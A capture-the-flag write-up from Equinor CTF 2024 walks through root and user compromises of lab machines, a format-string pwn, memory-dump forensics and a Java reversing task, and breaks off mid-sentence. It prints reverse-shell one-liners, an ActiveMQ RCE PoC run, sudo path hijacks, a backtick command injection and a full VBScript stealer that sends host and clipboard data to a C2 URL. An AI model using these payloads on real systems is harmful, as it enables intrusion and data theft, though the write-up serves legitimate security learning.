The 2nd of November EPT hosted Equinor CTF 2024 onsite in Oslo. It was a jeopardy ctf with an added Boot2Root/RealWorld category where the goal was to root the challenge-machines, with some of them being based on real vulnerabilities they’ve found. This writeup is for the challenges I solved during the ctf.
Boot2root/Realworld
Prime Time (user)
We are given the IP of a machine, and start with a nmap scan to identify which ports are open.
1
2
3
4
5
6
7
8
9
10
11
$ nmap -T 5 -p- 10.128.2.125 -sV
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-03 00:16 CET
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
1883/tcp open mqtt
5672/tcp open amqp?
8161/tcp open http Jetty 9.2.22.v20170606
39959/tcp open tcpwrapped
61613/tcp open stomp Apache ActiveMQ
61614/tcp open http Jetty 9.2.22.v20170606
61616/tcp open apachemq ActiveMQ OpenWire transport
Port 8161 leads to an ActiveMQ
website, which has links to /admin
and /demo
. The demo-endpoint gives a 404, while the admin-endpoint prompts us for login credentials.
The default credentials for ActiveMQ is admin:admin
, and we can login as admin, however other than revealing that the ActiveMQ version is 5.15.3
this path does not lead to anything.
This version of ActiveMQ has a deserialization vulnerability, CVE-2023-46604, which gives attackers remote code execution. We can use this POC to exploit the vulnerability and get shell on the server.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ python3 exploit.py -i 10.128.2.125 -si <attacker_ip>
#################################################################################
# CVE-2023-46604 - Apache ActiveMQ - Remote Code Execution - Pseudo Shell #
# Exploit by Ducksec, Original POC by X1r0z, Python POC by evkl1d #
#################################################################################
[*] Target: 10.128.2.125:61616
[*] Serving XML at: http://<attacker_ip>:8080/poc.xml
[!] This is a semi-interactive pseudo-shell, you cannot cd, but you can ls-lah / for example.
[*] Type 'exit' to quit
#################################################################################
# Not yet connected, send a command to test connection to host. #
# Prompt will change to Apache ActiveMQ$ once at least one response is received #
# Please note this is a one-off connection check, re-run the script if you #
# want to re-check the connection. #
#################################################################################
[Target not responding!]$ id
uid=998(prime) gid=995(prime) groups=995(prime),0(root) context=system_u:system_r:unconfined_service_t:s0
We get shell as the user prime
, which can read the flag from /home/activemq/user.txt
.
1
2
Apache ActiveMQ$ cat /home/activemq/user.txt
EPT{d41d8cd98f00b204e9800998ecf8427e}
Prime Time (root)
The shell we got from exploiting the ActiveMQ service only gives us a pseudo-shell (which is a bit annoying to use), so we start by adding our ssh public-key to /home/activemq/.ssh/authorized_keys
so that we can ssh into the machine.
As the user prime
we have some sudo-rights which we are going to exploit to root the machine.
1
2
3
4
5
6
7
8
9
[prime@ip-10-128-2-125 ~]$ sudo -l
Matching Defaults entries for prime on ip-10-128-2-125:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User prime may run the following commands on ip-10-128-2-125:
(ALL) SETENV: NOPASSWD: /opt/CSCOlumos/rcmds/
We are allowed to set environment variables and run scripts located in /opt/CSCOlumos/rcmds/
. Inside this directory there are 88 (!) scripts which we can run.
1
2
[prime@ip-10-128-2-125 ~]$ ls /opt/CSCOlumos/rcmds/ -l | wc -l
88
With this many scripts to analyze for vulnerabilities the easiest method is probably to look at the smaller ones. There are multiple scripts which can be abused to escalate our privileges to root, using the same method(s). I ended up using the hmadmin.sh
script to solve the challenge.
1
2
3
4
5
[prime@ip-10-128-2-125 rcmds]$ cat hmadmin.sh
#!/bin/bash
. init.sh
$INSTALL_HOME/bin/hmadmin.sh
It first executes init.sh
, which is a script doing a lot of stuff (e.g. set the $INSTALL_HOME
environment variable to /opt/CSCOlumos
), but most importantly, its path is not absolute. This means that we can be in any directory executing /opt/CSCOlumos/rcmds/hmadmin.sh
, and it will search for init.sh
in our current working directory. Because we can execute /opt/CSCOlumos/rcmds/hmadmin.sh
as root, and that script executes init.sh
in our CWD (in this case /dev/shm), we can create an init.sh
which gives us a reverse shell.
1
2
3
4
5
6
7
8
[prime@ip-10-128-2-125 shm]$ pwd
/dev/shm
[prime@ip-10-128-2-125 shm]$ ls
init.sh
[prime@ip-10-128-2-125 shm]$ cat init.sh
#!/bin/bash
/bin/bash -c "sh -i >& /dev/tcp/<attacker_ip>/9001 0>&1"
Running the command sudo /opt/CSCOlumos/rcmds/hmadmin.sh
and listening on port 9001 with nc -lnvp 9001
then gives us shell as root!
1
2
3
4
5
6
7
8
9
$ nc -lnvp 9001
listening on [any] 9001 ...
connect to [<attacker_ip>] from (UNKNOWN) [10.128.2.125] 34292
sh-4.2# id
id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
sh-4.2# cat /root/root.txt
cat /root/root.txt
EPT{5b2f8f8681b6621b519ef09adf371174}
Note: During the ctf my exploit looked a little different. I made my own init.sh
which basically was empty, created my own bin/hmadmin.sh
in CWD which executed the reverse shell, and set the INSTALL_HOME
environment variable to CWD to execute my own bin/hmadmin.sh
file. This lead to the real hmadmin.sh
to search for and execute my bin/hmadmin.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
[prime@ip-10-128-2-125 shm]$ pwd
/dev/shm
[prime@ip-10-128-2-125 shm]$ ls
bin init.sh
[prime@ip-10-128-2-125 shm]$ ls bin
hmadmin.sh
[prime@ip-10-128-2-125 shm]$ cat init.sh
#!/bin/bash
echo "Executed"
[prime@ip-10-128-2-125 shm]$ cat bin/hmadmin.sh
#!/bin/bash
/bin/bash -c "sh -i >& /dev/tcp/<attacker_ip>/9001 0>&1"
Running the command sudo INSTALL_HOME=/dev/shm /opt/CSCOlumos/rcmds/hmadmin.sh
gives a reverse shell as root, similar to the other technique.
Bonus: Prime Time (root)
In addition to the path hijack
vulnerability to escalate privileges to root, there is an insecure file permission
vulnerability as well that can be exploited!
As a reminder, we can run scripts located in /opt/CSCOlumos/rcmds/
as root.
Whoops…
1
2
3
4
5
6
[prime@ip-10-128-3-174 CSCOlumos]$ pwd
/opt/CSCOlumos
[prime@ip-10-128-3-174 CSCOlumos]$ ls -al
total 172
drwxrwxr-x. 60 prime root 4096 Nov 5 06:15 .
drwxr-xr-x. 4 root root 39 Oct 15 03:42 ..
Apparently, we just own the directory /opt/CSCOlumos/
as the user prime
, so we can create a new rcmds
directory with any scripts we want inside, and run them as root…
1
2
3
4
5
6
7
8
[prime@ip-10-128-3-174 CSCOlumos]$ pwd
/opt/CSCOlumos
[prime@ip-10-128-3-174 CSCOlumos]$ ls rcmds/
shell.sh
[prime@ip-10-128-3-174 CSCOlumos]$ cat rcmds/shell.sh
#!/bin/bash
/bin/bash -c "sh -i >& /dev/tcp/<attacker_ip>/9001 0>&1"
Running this script gives us a root shell once again.
1
2
3
4
5
6
$ nc -lnvp 9001
listening on [any] 9001 ...
connect to [<attacker_ip>] from (UNKNOWN) [10.128.3.174] 52254
sh-4.2# id
id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
OMM API (user)
We are given the IP of a machine to exploit, and start by running nmap to discover what ports are open.
1
2
3
4
5
$ nmap -T 5 -sV 10.128.2.126
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-03 01:13 CET
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
8000/tcp open http-alt uvicorn
As expected from reading the challenge description FastAPI
is running on port 8000. We also know that /docs
is enabled, which gives us an overview of all the API endpoints.
After playing around with all the different API endpoint, two are considered important for now, because they have a LFI vulnerability where we can read files and list directories (basically ls
and cat
). The two endpoints are /files
(list files in directory) and /logfile
(read files). To make it easier to query the server for directory-contents and files I wrote a simple python script.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests
from sys import argv
url = "http://10.128.2.126:8000"
if len(argv) != 3:
print("Invalid args")
exit()
cmd = argv[1]
obj = argv[2]
if cmd == "ls":
r = requests.get(url + "/files" + f"?basePath={obj}")
try:
res = r.json()
except:
print("Error")
exit()
directory = res[list(r.json().keys())[0]] # ugly hack
if isinstance(directory, str):
print(directory)
exit()
for x in directory.get("directories", []):
print(f"<dir> {x}")
for x in directory.get("files", []):
print(f"<file> {x}")
elif cmd == "cat":
r = requests.get(url + "/logfile" + f"?filepath={obj}")
print(r.text)
1
2
3
4
5
6
7
$ python3 lfi.py ls /home
<dir> subops
<dir> f_omm_app
<dir> ubuntu
$ python3 lfi.py cat /etc/hostname
ip-10-128-2-126
The flag is located in /home/f_omm_app/user
, however this file has to be executed and cannot be read with our LFI. There are also no ssh-keys located on the machine, so we must find a way to either execute commands (RCE) or write files to disk (write our public ssh-key to /home/f_omm_app/.ssh/authorized_keys).
If we list the files in our CWD on the server we can access the FastAPI python code. main.py
contains the code for the endpoints.
1
2
3
4
5
6
7
8
9
10
11
$ python3 lfi.py ls .
<dir> __pycache__
<dir> etc
<dir> Models
<dir> Data
<dir> Helpers
<dir> Configurations
<dir> .venv
<file> requirements.txt
<file> main.py
<file> log.py
There is a lot of code to parse through (the main.py file is 535 lines), but most of the endpoints are not relevant for our goal (RCE or writing files to disk). One interesting endpoint is the /restart
endpoint, which seems to restart an existing job on the server.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
@app.put("/restart")
async def restart_job(job_id: str):
app_logger.info(f"Attempting to restart job {job_id}")
job = pbsModule.get_job(job_id)
if not isinstance(job, Job):
raise HTTPException(status_code=400, detail=str(job))
if job.state is not State.FAILED:
raise HTTPException(status_code=400, detail="Job not available for restart")
job_dir = job.path
job_logidr = job.logdir
job_owner = job.owner
shotsFile = get_file(job_dir, "shots.ids")
par_file_json = get_file(job_dir, "par.json")
pbs_file = get_file(job_dir, "go.pbs")
run_script = get_file(job_dir, "run_stofwd2rtm3d.csh.sh")
app_logger.info(f"Renaming logdir: {job_logidr} --> {job_logidr}_{str(job_id)}")
restart_dir = os.path.join(job_dir, f"job_{job_id}")
os.makedirs(restart_dir, mode=0o2775)
if job_logidr:
shutil.move(job_logidr, restart_dir)
if shotsFile:
shutil.copy(shotsFile, restart_dir)
if par_file_json:
shutil.copy(par_file_json, restart_dir)
pbsModule.add_restart_flag(run_script)
app_logger.info(f"Submitting new job")
os.chdir(f"{job_dir}")
try:
cmd = JobCommandOutput(f"sudo -u {job_owner} /opt/pbs/bin/qsub {pbs_file}")
out = cmd.get_output()
job_id = pbsModule.numeric_id(out.strip())
return {"message": "Job restarted", "path": job.path, "job_id": job_id}
except RuntimeError as e:
app_logger.error(f"Error occurred when submitting job. Error={str(e)}")
raise HTTPException(status_code=500, detail=str(e))
This code can help us achieve RCE through the pbsModule.get_job(job_id)
function, which is a function from Helpers/pbsModule.py
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
def get_job(job_id: str) -> "Job":
"""
Returns a Job object corresponding to a given job id.
Parameters:
job_id (str): The id of the job to retrieve.
Returns:
Job: The Job object for the given job id.
"""
cmd = JobCommandOutput(f"/opt/pbs/bin/qstat -xf -F json {job_id}")
try:
out = cmd.get_output()
except RuntimeError as e:
return str(e)
job_data = cmd.parse_json(output=out, key="Jobs")
id = list(job_data.keys())[0]
data = job_data[id]
job = Job(job_id=numeric_id(id), job_data=data)
return job
JobCommandOutput
is a class defined in the same pbsModule.py
file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
class JobCommandOutput:
"""This class represents a command output from a linux command execution."""
def __init__(self, cmd: str):
"""
Initiate a JobCommandOutput instance.
Parameters:
cmd (str): The command to be executed.
"""
self.cmd = cmd
self.output, self.err = self.run_command()
def run_command(self) -> str:
"""
Formats the input to valid linux command inputs, executes command(s) sequentaly and return output/error of command.
Returns:
str: The output from the command execution.
"""
def execute(command):
"""
Executes the command and returns the output.
Returns:
str: The output from the command execution.
"""
parts = shlex.split(command)
result = run(parts, stdout=PIPE, stderr=PIPE, text=True, timeout=5)
return result.stdout, result.stderr
if '`' in self.cmd:
commands = self.cmd.split('`')
c1 = commands[0].strip()
c2 = commands[1].strip()
c2_out, c2_err = execute(c2)
if c2_err:
raise RuntimeError(c2_err)
c1_out, c1_err = execute(c1 + " " + c2_out)
return c1_out, c1_err
else:
out, err = execute(self.cmd)
return out, err
The run_command
calls execute
which splits our command into space-separated list, and calls run()
which is from the subprocess
library. This leads to the command /opt/pbs/bin/qstat -xf -F json <job_id>
being executed. job_id
is supplied by us as a string, and is not sanitized or validated. Thus we have to find a way to inject a command which gives us a reverse shell.
To get a reverse shell we want to inject the following command: /bin/bash -c "sh -i >& /dev/tcp/<attacker_ip>/9001 0>&1"
. Using ;
, &&
, ||
, or $(<command>)
to chain our command does not work because of how it is parsed by the backend. However, backticks come to the rescue. In bash, surrounding a command by backticks (useful to nest commands) substitutes the command with its output, which means that it gets executed before any potential errors in the actual command! If we set the job_id
to
1
job_id=`/bin/bash -c "sh -i >& /dev/tcp/10.128.1.41/9001 0>&1"`
the command to be executed becomes
1
/opt/pbs/bin/qstat -xf -F json `/bin/bash -c "sh -i >& /dev/tcp/10.128.1.41/9001 0>&1"`
which tries to substitute our reverse shell command with its output before executing, giving us a reverse shell as user f_omm_app
. With shell as this user we can run the user
file to get the flag.
1
2
3
4
5
6
7
8
$ nc -lnvp 9001
listening on [any] 9001 ...
connect to [<attacker_ip>] from (UNKNOWN) [10.128.2.126] 59480
sh: 0: can't access tty; job control turned off
$ id
uid=1002(f_omm_app) gid=1001(hpc_users_rd) groups=1001(hpc_users_rd)
$ /home/f_omm_app/user
EPT{Y0U_JU57_P0PP3D_7H3_4P1!}
Pwn
Vault
In addition to the binary for the program, we are given its source code.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
#define MAX_ITEMS 10
#define PIN_LENGTH 12
#define MAX_ITEM_LENGTH 30
char vaultItems[MAX_ITEMS][50];
int itemCount = 0;
void setPIN(char *pin) {
FILE *fp;
unsigned char bytes[5];
fp = fopen("/dev/urandom", "r");
if (fp == NULL) {
perror("Error opening /dev/urandom");
exit(1);
}
if (fread(bytes, 1, 5, fp) != 5) {
perror("Error reading from /dev/urandom");
fclose(fp);
exit(1);
}
fclose(fp);
for (int i = 0; i < 5; i++) {
sprintf(&pin[i * 2], "%02x", bytes[i]);
}
pin[10] = '\0'; // Null terminate the string
return;
}
bool checkPIN(char *pin) {
char enteredPIN[PIN_LENGTH];
printf("Enter your PIN to access the vault: ");
fgets(enteredPIN, PIN_LENGTH, stdin);
enteredPIN[strcspn(enteredPIN, "\n")] = '\0';
if (strcmp(pin, enteredPIN) == 0) {
return true;
}
char output[100];
sprintf(output, "the pin %s is not correct", enteredPIN);
printf(output);
return false;
}
void addItem() {
if (itemCount >= MAX_ITEMS) {
printf("Vault is full. Cannot add more items.\n");
return;
}
printf("Enter item to add to the vault: ");
fgets(vaultItems[itemCount], MAX_ITEM_LENGTH, stdin);
vaultItems[itemCount][strcspn(vaultItems[itemCount], "\n")] = '\0';
itemCount++;
printf("Item added successfully.\n");
}
void removeItem() {
if (itemCount == 0) {
printf("Vault is empty. No items to remove.\n");
return;
}
itemCount--;
printf("Last item removed successfully.\n");
}
void listItems() {
if (itemCount == 0) {
printf("Vault is empty.\n");
return;
}
printf("Items in the vault:\n");
for (int i = 0; i < itemCount; i++) {
printf("%d. %s\n", i + 1, vaultItems[i]);
}
}
void readFlag( void ) {
FILE *file = fopen("/opt/flag", "r");
if (file == NULL) {
perror("Error opening file");
exit(1);
}
char flag[50];
if (fgets(flag, 50, file) == NULL) {
perror("Error reading flag from file");
fclose(file);
exit(1);
}
printf("gj! the flag is %s", flag);
fclose(file);
}
int main( void ) {
char input[10];
char pin[PIN_LENGTH];
int choice;
bool accessGranted = false;
ignore_me_init_buffering();
ignore_me_init_signal();
setPIN(pin);
do {
printf("\n--- Vault Menu ---\n");
printf("1. Open Vault\n2. Add Item\n3. Remove Item\n4. List Items\n5. Read flag\n6. Exit\n");
printf("Enter your choice: ");
fgets(input, 10, stdin);
choice = atoi(input);
switch (choice) {
case 1:
accessGranted = checkPIN(pin);
if (accessGranted) {
printf("Vault opened successfully.\n");
}
break;
case 2:
if (accessGranted) addItem();
else printf("Please open the vault first.\n");
break;
case 3:
if (accessGranted) removeItem();
else printf("Please open the vault first.\n");
break;
case 4:
if (accessGranted) listItems();
else printf("Please open the vault first.\n");
break;
case 5:
if (accessGranted) readFlag();
else printf("Please open the vault first.\n");
break;
case 6:
printf("Exiting program.\n");
break;
default:
printf("Invalid choice. Please try again.\n");
}
} while (choice != 6);
return 0;
}
The program simulates a vault, where we can add, remove, and list items, as well as read the flag. However, to perform any of those operations we need to open the vault, which involves guessing a random 5-byte PIN set each time the program runs.
When we try to open the vault by guessing its PIN this is the function that checks if we have given the correct PIN:
1
2
3
4
5
6
7
8
9
10
11
12
13
bool checkPIN(char *pin) {
char enteredPIN[PIN_LENGTH];
printf("Enter your PIN to access the vault: ");
fgets(enteredPIN, PIN_LENGTH, stdin);
enteredPIN[strcspn(enteredPIN, "\n")] = '\0';
if (strcmp(pin, enteredPIN) == 0) {
return true;
}
char output[100];
sprintf(output, "the pin %s is not correct", enteredPIN);
printf(output);
return false;
}
The function has a format string vulnerability in printf(output);
, which among other things allow us to read memory from the stack. Because the pin
variable (an array of bytes) is stored on the stack in main
we should be able to find its memory address using format strings, given that we find the correct offset. With the format specifier %s
we should then be able to read what the vaults PIN is (%s
prints what is stored at the address at the given offset, contrary to %p
which prints the address).
To find the offset to the stack address of pin
we can set a breakpoint on the strcmp
in checkPIN
in GDB. The stack address will be stored in the rdi
register.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
RAX 0x7fffffffdeec ◂— '5e8f2673cf'
RBX 0
RCX 7
RDX 0x7fffffffde44 ◂— 0x67666564636261 /* 'abcdefg' */
RDI 0x7fffffffdeec ◂— '5e8f2673cf'
RSI 0x7fffffffde44 ◂— 0x67666564636261 /* 'abcdefg' */
R8 0x5555555560b0 ◂— 0x74000a00203a746c /* 'lt: ' */
R9 0
R10 0x555555556090 ◂— 'Enter your PIN to access the vault: '
R11 0x246
R12 0x7fffffffe018 —▸ 0x7fffffffe2cb ◂— '/home/loevland/ctf/ept/pwn/vault/the-vault/vault'
R13 0x5555555558c0 (main) ◂— endbr64
R14 0x555555557d40 (__do_global_dtors_aux_fini_array_entry) —▸ 0x555555555300 (__do_global_dtors_aux) ◂— endbr64
R15 0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— 0x10102464c457f
RBP 0x7fffffffdec0 —▸ 0x7fffffffdf00 ◂— 1
RSP 0x7fffffffde30 ◂— 0xa /* '\n' */
RIP 0x5555555555a4 (checkPIN+125) ◂— call 0x5555555551e0
─────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────────────────────────
► 0x5555555555a4 <checkPIN+125> call strcmp@plt <strcmp@plt>
s1: 0x7fffffffdeec ◂— '5e8f2673cf'
s2: 0x7fffffffde44 ◂— 0x67666564636261 /* 'abcdefg' */
So we know that the PIN is stored at the address 0x7fffffffdeec
(the exact address will change between each run), so now we can use the format string vulnerability to find the offset on the stack where this value is located. We use the format string %X$p
, where X
is an integer offset, to specify where on the stack we read from.
1
2
3
4
5
6
7
8
9
10
--- Vault Menu ---
1. Open Vault
2. Add Item
3. Remove Item
4. List Items
5. Read flag
6. Exit
Enter your choice: 1
Enter your PIN to access the vault: %7$p %8$p
the pin 0x7fffffffdeec 0x70243725f7fa5780 is not correct
After some trial and error (with numbers 1-6) we see that the address of pin
is stored at offset 7
. This means that if we use the format string %7$s
the program will print the bytes stored at this address, which is the pincode!
1
2
3
4
5
6
7
8
9
10
--- Vault Menu ---
1. Open Vault
2. Add Item
3. Remove Item
4. List Items
5. Read flag
6. Exit
Enter your choice: 1
Enter your PIN to access the vault: %7$s
the pin 5e8f2673cf is not correct
Now that we have leaked the pin we can open the vault and read the flag (note that neither option 2, 3, 4, or 6 is required to get the flag in this challenge).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
--- Vault Menu ---
1. Open Vault
2. Add Item
3. Remove Item
4. List Items
5. Read flag
6. Exit
Enter your choice: 1
Enter your PIN to access the vault: 5e8f2673cf
Vault opened successfully.
--- Vault Menu ---
1. Open Vault
2. Add Item
3. Remove Item
4. List Items
5. Read flag
6. Exit
Enter your choice: 5
gj! the flag is EPT{find_th3_p1n_f1nd_th3_fl4g}
Forensics
Phantom Phish
We are given a memory dump to analyze, with the goal of investiagting a phising attack. To get information from the memory dump we use Volatility 3. The outputs showed from volatility will be trimmed down due to information-overload for a writeup.
To get an overview of what processes were running on the machine at the time when the memory dump was taken we run volatility’s windows.pstree
module. This will give a tree-view of of the process list, making it easier to determine the parent-child relationships between the processes. Although for this step, the windows.pslist
module would also work fine (or alternatively windows.cmdline
).
1
2
3
4
5
$ vol3 -f dump.dmp windows.pstree
PID PPID ImageFileName CreateTime Audit Cmd
...
7300 1304 notepad.exe 2024-10-17 13:08:33.000000 \Device\HarddiskVolume3\Windows\System32\notepad.exe "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Benjamin\Documents\security email.pdf
Scrolling through the output we see that notepad.exe
is running and has opened the file C:\Users\Benjamin\Documents\security email.pdf
. Considering this challenge mentions a phishing attack, this file should be investigated further, and either ruled out or not as potentially malicious.
To dump files from memory we can use the module windows.filescan.FileScan
and windows.dumpfiles.DumpFiles
. We use the FileScan
module to get the virtual offset of the file, which we give as an argument to DumpFiles
to carve the file out of the memory dump.
1
2
3
4
5
6
7
8
9
10
11
$ vol3 -f dump.dmp windows.filescan.FileScan | grep "\.pdf"
Offset Name Size
...
0xc50ce5139980 \Users\Benjamin\Documents\security email.pdf 216
...
$ vol3 -f dump.dmp windows.dumpfiles.DumpFiles --virtaddr 0xc50ce5139980
Cache FileObject FileName Result
DataSectionObject 0xc50ce5139980 security email.pdf file.0xc50ce5139980.0xc50ce5c1ea70.DataSectionObject.security email.pdf.dat
The PDF file is allegedly a suspicious login attempt warning from Microsoft, with a QR code to scan.
We can parse the QR code with CyberChef to view its link, which reveals the flag.
Stealth Stealer
This challenge uses the same dump as Phantom Phish, and wants us to investigate some malware likely arising from the phishing attempt from that challenge.
The notepad process opened the pdf file around 2024-10-17 13:08:33.000000
, so we could be looking for a malware-process close to this timestamp. If we look through the process-list again, this mshta.exe
process stands out as it reaching out for a .hta
file from a remote server. mshta
is a LOLBIN which can be used to download and execute html applications.
1
2
PID PPID ImageFileName CreateTime Audit Cmd
5696 10348 mshta.exe 2024-10-17 13:07:14.000000 \Device\HarddiskVolume3\Windows\System32\mshta.exe "C:\Windows\system32\mshta.exe" http://192.168.88.130/heist.hta
Using windows.filescan.FileScan
and windows.dumpfiles.DumpFiles
we can dump this heist.hta
file from memory. If this had not worked we could also have retrieved the file by dumping the memory of the mshta.exe
process, and then carve the hta file out of its memory, but this is a little more tedious.
1
2
3
4
5
6
$ vol3 -f dump.dmp windows.filescan.FileScan | grep "\.hta"
Offset Name Size
0xc50ce994a580 \Users\Benjamin\AppData\Local\Microsoft\Windows\INetCache\IE\0RH8WS85\heist[1].hta 216
$ vol3 -f dump.dmp windows.dumpfiles.DumpFiles --virtaddr 0xc50ce994a580
With the hta file dumped, we only need to reverse it to get the flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
<script language="VBScript">
Dim a1, a2, a3, a4, a5, a6, d2
Set a1 = CreateObject("WScript.Shell")
a2 = a1.RegRead(utr("484b4c4d5c534f4654574152455c4d6963726f736f66745c57696e646f7773204e545c43757272656e7456657273696f6e5c50726f647563744e616d65"))
a3 = a1.ExpandEnvironmentStrings(utr("25434f4d50555445524e414d4525"))
a4 = a1.ExpandEnvironmentStrings(utr("25555345524e414d4525"))
a5 = a1.ExpandEnvironmentStrings(utr("2550524f434553534f525f41524348495445435455524525"))
a6 = dsf()
Dim b1, b2, b3
b1 = utr("535556594943684f5a58637454324a715a574e304945356c644335585a574a4462476c6c626e51704c6b5276643235736232466b553352796157356e4b434a6f64485277637a6f764c32686c62476c3463475633644756796332566a636d5630597a49755a5842304c32746c5a58424259324e6c63334e4a5a6b4e76626d356c593352706232354d62334e304c6e427a4d534970")
b2 = utr("484b43555c536f6674776172655c4d6963726f736f66745c57696e646f77735c43757272656e7456657273696f6e5c52756e5c")
b3 = utr("4d6963726f736f6674204564676520496e7465677269747920436865636b6572")
a1.RegWrite b2 & b3, b1, "REG_SZ"
iolo()
Dim dtg
dtg = "5667474c4b0761534c54614e63432368700722594c40275b7f0467687b04220267166e"
d2 = hbr(dtg, &H1337)
dfg a2, a3, a4, a5, a6, d2
Function dsf()
' "hopefully I find some wallet keys"
Dim clipboard, ert
Set clipboard = CreateObject("htmlfile")
ert = clipboard.ParentWindow.ClipboardData.GetData(utr("54657874"))
If Len(data) > 0 Then
dsf = data
Else
dsf = utr("4e6f20636c6970626f617264206461746120666f756e64")
End If
End Function
Sub olo(min)
Dim ts
Dim tss
ts = Timer()
tss = 0
Do While tss < (min * 60)
tss = Timer() - ts
If tss < 0 Then tss = tss + 86400
CreateObject("WScript.Shell").AppActivate("shh")
Loop
End Sub
Sub iolo()
olo 5
End Sub
Sub dfg(os, computer, user, arch, clipboard, d2)
Dim xmlhttp, iop, data
data = "os=" & os & "&computer=" & computer & "&user=" & user & "&arch=" & arch & "&clipboard=" & clipboard & "&misc=" & d2
iop = utr("68747470733a2f2f68656c697870657774657273656372657463322e6570742f737465616c65722e706870")
Set xmlhttp = CreateObject(utr("4D53584D4C322E536572766572584D4C48545450"))
xmlhttp.open "POST", iop, False
xmlhttp.setRequestHeader "Content-Type", "application/x-www-form-iopencoded"
xmlhttp.send data
End Sub
Function hbr(juo, xorKey)
Dim i, yka, yty, keyByte
yka = ""
For i = 1 To Len(juo) Step 2
yty = CLng("&H" & Mid(juo, i, 2))
If (i Mod 4) = 1 Then
keyByte = (&H13)
Else
keyByte = (&H37)
End If
yty = yty Xor keyByte
yka = yka & Chr(yty)
Next
hbr = yka
End Function
Function utr(jui)
Dim i, fgg
fgg = ""
For i = 1 To Len(jui) Step 2
fgg = fgg & Chr(CLng("&H" & Mid(jui, i, 2)))
Next
utr = fgg
End Function
</script>
The utr
function converts the hex-string argument from hex to string. The hbr
function does the same conversion from hex to string, but also xor the bytes with the key 1337
. hbr
is only used at the following location:
1
2
dtg = "5667474c4b0761534c54614e63432368700722594c40275b7f0467687b04220267166e"
d2 = hbr(dtg, &H1337)
Which results in the flag EPT{X0rd_crypt0_c01n_w4ll3t_h315t!}
when decrypted! The actual functionality of this script is to collect computer information from the registry and environment variables, and send it to https://helixpewtersecretc2.ept/stealer.php
:
Reversing
Random Flag Generator
The challenge provides us with a jar file, RandomFlagGenerator.jar
, which we have to reverse.
Loading the file into JDec reveals the following code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import java.util.Base64;
import java.util.Random;
import java.util.Base64.Decoder;
import java.util.Base64.Encoder;
public class RandomFlagGenerator {
public static void main(String[] var0) {
String var1 = "ATU6Wy9BFBMqCCsXMVQNRT0lRABlGA==";
String var2 = "Den e brun";
String var3 = xorString(base64Decode(var1), var2);
String var4 = generateRandomString(20, var3);
System.out.println("Random Flag: " + var4);
}
public static String generateRandomString(int var0, String var1) {
String var2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz" + var1;
Random var3 = new Random();
StringBuilder var4 = new StringBuilder(var0);
for(int var5 = 0; var5 < var0; ++var5) {
var4.append(var2.charAt(var3.nextInt(var2.length())));
}
return var4.toString();
}
public static String xorString(String var0, String var1) {
StringBuilder var2 = new StringBuilder();
for(int var3 = 0; var3 < var0.length(); ++var3) {
var2.append((char)(var0.charAt(var3) ^ var1.charAt(var3 % var1.length())));
}
return var2.toString();
}
public static String base64Encode(String var0) {
Encoder var1 = Base64.getEncoder();
return var1.encodeToString(var0.getBytes());
}
public static String base64Decode(String var0) {
Decoder var1 = Base64.getDecoder();
return new String(var1.decode(var0));
}
}
The program base64 decodes var1
and xor it with the string Den e brun
. It then uses the result of the xor to generate and print a random flag. Because var4
is not the correct flag, it is reasonable to think that var3
